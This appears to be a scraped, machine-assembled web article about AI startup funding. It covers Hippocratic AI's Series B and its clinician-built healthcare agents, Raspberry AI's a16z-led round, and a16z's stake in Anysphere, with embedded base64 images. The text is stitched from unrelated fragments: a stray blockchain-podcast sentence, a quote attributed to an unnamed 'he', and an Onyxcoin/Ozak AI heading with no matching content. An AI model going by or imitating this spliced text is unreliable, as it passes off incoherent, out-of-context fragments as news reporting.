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" width="302px" alt="a16z generative ai"/></p>
<p><p>For instance, one of its AI agents is specialized in chronic care management, medication checks and post-discharge follow-up regarding specific conditions such as kidney failure and congestive heart failure. The healthcare-focused artificial intelligence startup Hippocratic AI Inc. said today it has closed on a $141 million Series B funding round that brings its total amount raised to more than $278 million. “This round of financing will accelerate the development and deployment of the Hippocratic generative AI-driven super staffing and continue our quest to make healthcare abundance a reality,” he promised. Raspberry AI, the generative AI platform for fashion creatives, has secured 24 million US dollars in Series A funding led by Andreessen Horowitz (a16z). Today, we’re going in-depth on blockchain innovation with Robert Roose, an entrepreneur who’s on a mission to fix today’s broken monetary system. Hippocratic AI’s early customers include Arkos Health Inc., Belong Health Inc., Cincinnati Children’s, Fraser Health Authority (Canada), GuideHealth, Honor Health, Deca Dental Management, LLC, OhioHealth, WellSpan Health and other well-known healthcare systems and hospitals.</p>
</p>
<p><p>By incorporating this wisdom into its AI agents, it’s making them safer and improving patient outcomes, it said. Crucially, any agent created using its platform will undergo extensive safety training by both the creator and Hippocratic AI’s own staff. Every clinician will have access to a dashboard to track their AI agent’s performance and use and receive feedback for further development.</p>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="data:image/jpeg;base64,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" width="300px" alt="a16z generative ai"/></p>
<p><p>All these indicate the commitment a16z has in shaping the future of technology and healthcare through strategic investments. Both platforms use Stability AI’s models to bring creators’ visions to life and Story’s blockchain technology to enable provenance and attribution throughout the creative process. These real-world applications highlight how creators can safeguard their intellectual property while thriving in a shared creative economy. Raspberry AI offers brands and manufacturing creative teams technology solutions, which can help accelerate each stage of the fashion product development cycle to increase speed to market and profitability while reducing costs. Andreessen Horowitz, or a16z, is one of the leading AI investors and targets only innovative startups. They participated in the round that funded Anysphere on January 14, 2025, with a total sum of $105 million for an AI coding tool known as Cursor, whose valuation has reached $2.5 billion.</p>
</p>
<p><h2>Onyxcoin (XCN) Market Trends and Ozak AI’s Contribution to AI-Driven Blockchain</h2>
</p>
<p><p>In order to ensure its AI agents can do their jobs safely, Hippocratic AI says it only works with licensed clinicians to develop them, taking steps to verify their qualifications and experience first. Once clinicians have built their agents, they’ll be submitted to the startup for an initial round of testing. Through the Hippocratic AI Agent App Store, healthcare organizations and hospitals will be able to access a range of specialized AI agents for different aspects of medical care.</p>
</p>
